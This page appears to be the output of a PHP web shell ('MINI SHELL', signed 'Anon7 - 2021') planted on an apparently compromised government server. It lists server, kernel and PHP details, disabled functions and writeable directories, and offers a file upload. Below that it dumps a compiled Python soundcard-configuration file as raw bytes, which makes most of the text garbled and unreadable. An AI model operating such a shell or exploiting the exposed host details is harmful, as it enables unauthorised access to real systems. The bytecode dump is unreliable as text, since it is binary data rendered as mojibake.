MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/system-config-soundcard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/system-config-soundcard/soundcardBackend.pyc
mς
'Dc@sσdkZdkZdkZdkZdkZdkZdkZdkZdkZdk	l
Z
lZdk	iZei
dƒd„Zd„Zd„Zd„ZeiƒdZeieidƒd	d!dƒad
„Zdfd„ƒYZdS(
N(t_sN_ssystem-config-soundcardcCs2x+|D]#}|d|jo|dSqqWdS(Nii(tlisttlinetname(RRR((t6/usr/share/system-config-soundcard/soundcardBackend.pytposition)s
cCsŽytddƒ}WngSnX|iƒ}|iƒg}xJ|D]B}|iƒ}|i	t
|dƒti|dddƒgƒqDW|S(Ns/proc/asound/modulestriiRt-(
topentfdt	readlinesRtclosetdriversRtsplitttmptappendtinttstringtreplace(RRRR	R((Rtread_driver_list2s
4cCst|i|iƒS(N(tcmptcard1Rtcard2(RR((Rt	card_sortEscCstdƒGHdS(NsνUsage: system-config-soundcard [OPTIONS]
Options:
  -h, --help        display this help and exit
  -k, --kernel=     which kernel version to assume:
                    2.4 (modules.conf)
                    2.6 (modprobe.conf, default)
(R(((RtusageKsit.icCsy/titidddddgƒ\}}Wn2tij
o#}|GHHtƒtidƒnXx₯|D]\}}|djp
|djotƒtidƒn|d	jp
|d
joE|}|djo.|djo!d
G|GHtƒtidƒqqkqkWdS(Nishk:sdriver=thelpskernel=s-hs--helpis-ks--kernels2.4s2.6sERROR: Invalid kernel version:(tgetopttsystargvtoptst	rest_argstGetoptErrorteRtexittopttvaluetkernel_type(R#R%R!RR$R((Rtoptions]s(	tsoundcardBackendcBsιtZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d	„Z
d
„Zd„Zd„Z
d
„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„ZRS(NcCsŽd|_g|_|iƒg|_g|_d|_d|_d|_	d|_
d|_d|_d|_
|iƒ|id|iƒdS(Nii<(tNonetselft
defaultModuletnewFiletreadFiletcardListtdspListthardware_devicetdefault_devicetdefault_cardtdynamic_keystvolumetplay_endt	aplay_pidt
readConfigt	setVolume(R)((Rt__init__ts		
									
cCs|iƒdS(N(R)t
stopTestSound(R)targs((Rtdestroy†scCstƒ}titititiBtiƒ}dGHx|D]}|GHdGHq:WxG|D]?}|i
djo)t||i
ƒ|_|i
i|ƒqUqUWtitititiƒ}xG|D]?}|i
djo)t||i
ƒ|_|i
i|ƒq½q½Wtitititiƒ}xG|D]?}|i
djo)t||i
ƒ|_|i
i|ƒq%q%Wtitititiƒ}xG|D]?}|i
djo)t||i
ƒ|_|i
i|ƒqqW|i
itƒ|i
gjo|i
di
|_n|i
S(Ns----------- Kudzu -------------s----------- **** -------------tunknowns
snd-usb-audiotsnd_powermaci(Rt
driverListtkudzutprobetCLASS_AUDIOtBUS_PCIt	BUS_MACIOt	PROBE_ALLRtcardtdriverRR)R-Rt
BUS_ISAPNPtBUS_USBtsortRR*(R)RR>RE((Rt
probeCards‰sF		cCs˜|\}}}ti|dƒdjoti|dƒ\}}nEti|dƒdjoti|ddƒ\}}n
|}|}||||fS(Nt|it i(	REtdevicetmoduletdescriptionRtcountR
tmakertmodel(R)RERNRMRRRQRO((RtgetDataΆscCsή|idjodSntdjo)d|}d}|d|ddg}ntdjoR|igjo
d	}nd
|ii|ƒ}d}|d|dd
dg}nt	i
ƒ|_|ipt	i||ƒndS(Nis2.6splughw:%d,0s/usr/bin/aplays-Ds-Ns3/usr/share/system-config-soundcard/sound-sample.wavs2.4s/dev/dsps
/dev/dsp%ds
/usr/bin/plays-ds-vt2(R)R5R%tindexRMtpathR:R.RNtostforktexecv(R)RNRUR:RMRV((Rt
playTestSoundΒs




cCs+|idjoti|idƒndS(Nii(R)R5RWtkill(R)((RR9ΩscCsct}|idjo@ti|itiƒ}|ddjod|_t}qVn|i|fS(Ni(	tFalsetfinishedR)R5RWtwaitpidtWNOHANGtstatustTrue(R)R`R]((RtcheckTestSoundήs	cCsΤtdjotddƒ}ntdjotddƒ}n|iƒ}|iƒg|_xn|D]f}t	i
|dƒdjot	i
|dƒdjpt	i|ƒdd	jo|ii|ƒqfqfWdS(
Ns2.6s/etc/modprobe.confRs2.4s/etc/modules.confssound-slot-is	snd-card-t#(
R%RR	R
tlinesRR)R+RRtfindtstripR(R)RdR	R((RR,κs


	LcCs„||_g}g}g|_|i|i|ƒ\}|_}	}tdjoR|id|iƒ|id|i|ifƒ|id|i|ifƒntdjo2|id|iƒ|idƒ|idƒn|ii|iƒd	}xϊ|iD]ο}
|i|
ƒ\}}}	}||ijoqtdjoI|id
||fƒ|id||fƒ|id||fƒntdjo=|id||fƒ|id|ƒ|id
|ƒn|ii|ƒ|d	}qW|iƒ|i|||_tdjotddƒ}ntdjotddƒ}nx|iD]}|i|ƒq_W|iƒdS(Ns2.6salias snd-card-0 %s
s_install %s /sbin/modprobe --ignore-install %s && /usr/sbin/alsactl restore >/dev/null 2>&1 ||:
scremove %s { /usr/sbin/alsactl store >/dev/null 2>&1 || : ; }; /sbin/modprobe -r --ignore-remove %s
s2.4salias sound-slot-0 %s
sVpost-install sound-slot-0 /bin/aumix-minimal -f /etc/.aumixrc -L >/dev/null 2>&1 || :
sTpre-remove sound-slot-0 /bin/aumix-minimal -f /etc/.aumixrc -S >/dev/null 2>&1 || :
isalias snd-card-%d %s
salias sound-slot-%d %s
sWpost-install sound-slot-%d /bin/aumix-minimal -f /etc/.aumixrc -L >/dev/null 2>&1 || :
sUpre-remove sound-slot-%d /bin/aumix-minimal -f /etc/.aumixrc -S >/dev/null 2>&1 || :
s/etc/modprobe.conftws/etc/modules.conf(tselectedCardR)t	aliasListt	aumixListR.RSR-RMR*RQRRR%RRPRERNR,R+RR	RtwriteR(R)RhRPRRNR	RjRMRRRQRERi((Rt	writeFileωsP		%
!








c	Cstdjond}tiƒ}|dddg}|p/yti||ƒWqwtidƒqwXq{ti	|dƒn||_tdjopd}||
d	|
g}tiƒ}|p/yti||ƒWqύtidƒqύXqti	|dƒndS(
Ns2.4s/bin/aumix-minimals-fs
/etc/.aumixrcs-Lis2.6s/bin/alsaunmutes-s(R%t
aumix_pathRWRXt	aumix_pidt
aumix_argsRYRR"R^R$R)R3tamixer_pathRUtamixer_argst
amixer_pid(	R)RUR$RnRpRoRrRqRm((RR7+s*
	
cCs|iS(N(R)R3(R)((Rt	getVolumeIscCs
||_dS(N(RUR)R1(R)RU((RtsetDefaultCardLscCs|i|iS(N(R)R-R1(R)((RtgetDefaultCardOscCs|iS(N(R)R1(R)((RtgetDefaultCardNumRscCs
||_dS(N(RUR)R0(R)RU((RtsetDefaultDeviceUscCs|iS(N(R)R0(R)((RtgetDefaultDeviceXscCs
||_dS(N(tstateR)R/(R)Ry((RtsetHardwareDevice[scCs|iS(N(R)R/(R)((RtgetHardwareDevice^scCs
||_dS(N(RyR)R2(R)Ry((RtsetDynamicKeysascCs|iS(N(R)R2(R)((RtgetDynamicKeysdscCsZ|io(tiidƒotidƒqVn%tiidƒotidƒndS(Ns/var/run/console/console.locks8/usr/bin/ainit `cat /var/run/console/console.lock` starts7/usr/bin/ainit `cat /var/run/console/console.lock` stop(R)R2RWRVtexiststsystem(R)((RtreconfigureDynamicKeysgs

cCsω|i}|i}tdjoσg}|idƒ|ioJ|idƒ|id|ƒ|id||fƒ|id|ƒnR|idƒ|id|ƒ|id|ƒ|id	|ƒ|id
|ƒt	ddƒ}x|D]}|i|ƒqνW|i
ƒnt	d
dƒ}|iƒ}|i
ƒg}x|D]‡}titi|ƒƒ}|gjoOtti|dƒdƒdjo,|io|idƒqΛ|idƒqD|i|ƒqDWt	d
dƒ}|i|ƒ|i
ƒdS(Ns2.6s;#Generated by system-config-soundcard, do not edit by hand
s#HWCONF
s#DEV %d
s,pcm.!default { type hw card %d device %d } 
s!ctl.!default { type hw card %d }
s#SWCONF
sdefaults.pcm.card %d 
sdefaults.pcm.device %d 
sdefaults.ctl.card %d 
s/etc/asound.confRgs/etc/alsa/ainit.confRitenables
enable = yes
senable = no
(R)R1RUR0RMR%RdRR/RR	RRkRR
t	lines_outRR
Rftline_tmpRtlowerR2t
writelines(R)RURƒR‚RdR	RMR((RtwriteConfigosF		





0

cCs±yˆtddƒ}|iƒ}|iƒ}t|d dƒdj|_|iƒ}t|d dƒpt|dƒ|_n|i	ƒWnd|_d|_nXy¬td	dƒ}|i
ƒ}|i	ƒx€|D]x}ti
ti|ƒƒ}|gjoMtti|dƒd
ƒdjo*tti|dƒdƒdj|_PqΣqΣWWnd|_nXyttid
ƒƒ|_Wnd|_nXd|i|i|ifGHdS(Ns/etc/asound.confRis#HWCONFiis#DEVis/etc/alsa/ainit.confRityess
/bin/alsacards$Read config:
card %d
device %d
HW %d(RR	treadlineRRR)R/RR0RR
RdRR
RfR„R2tcommandst	getoutputR1(R)RdR	R((RR6žs:	

0%


cCsFx?|iD]4}|i|ƒ\}}}}ti	d|ƒ}q
WdS(Ns/sbin/modprobe -r %s(R)R-RERSRMRNRQRRRWRtretval(R)RNRMRRR‹RQRE((Rt
unloadModulesΖs
cCs tid|iƒ}|djon|iSxk|iD]`}|i|ƒ\}}}}||ijoq8tid|ƒ}|djoq8|iSq8WdS(Ns/sbin/modprobe %si(RWRR)R*R‹R-RERSRMRNRQRR(R)R‹RNRMRRRQRE((RtloadModulesΜs


(t__name__t
__module__R8R;RJRSRZR9RbR,RlR7RsRtRuRvRwRxRzR{R|R}R€R†R6RŒR(((RR'ss2			-						2													/	(	(RR?RWRRR‰tsignalttimeittgtktrhpl.translateRtN_t	translatet
textdomainRRRRtunametkvertjoinR
R%R&R'(RR‰RRR?RR’R‘RR'RR˜R”RRR•RWR&R((Rt?s(									
					"	

Anon7 - 2021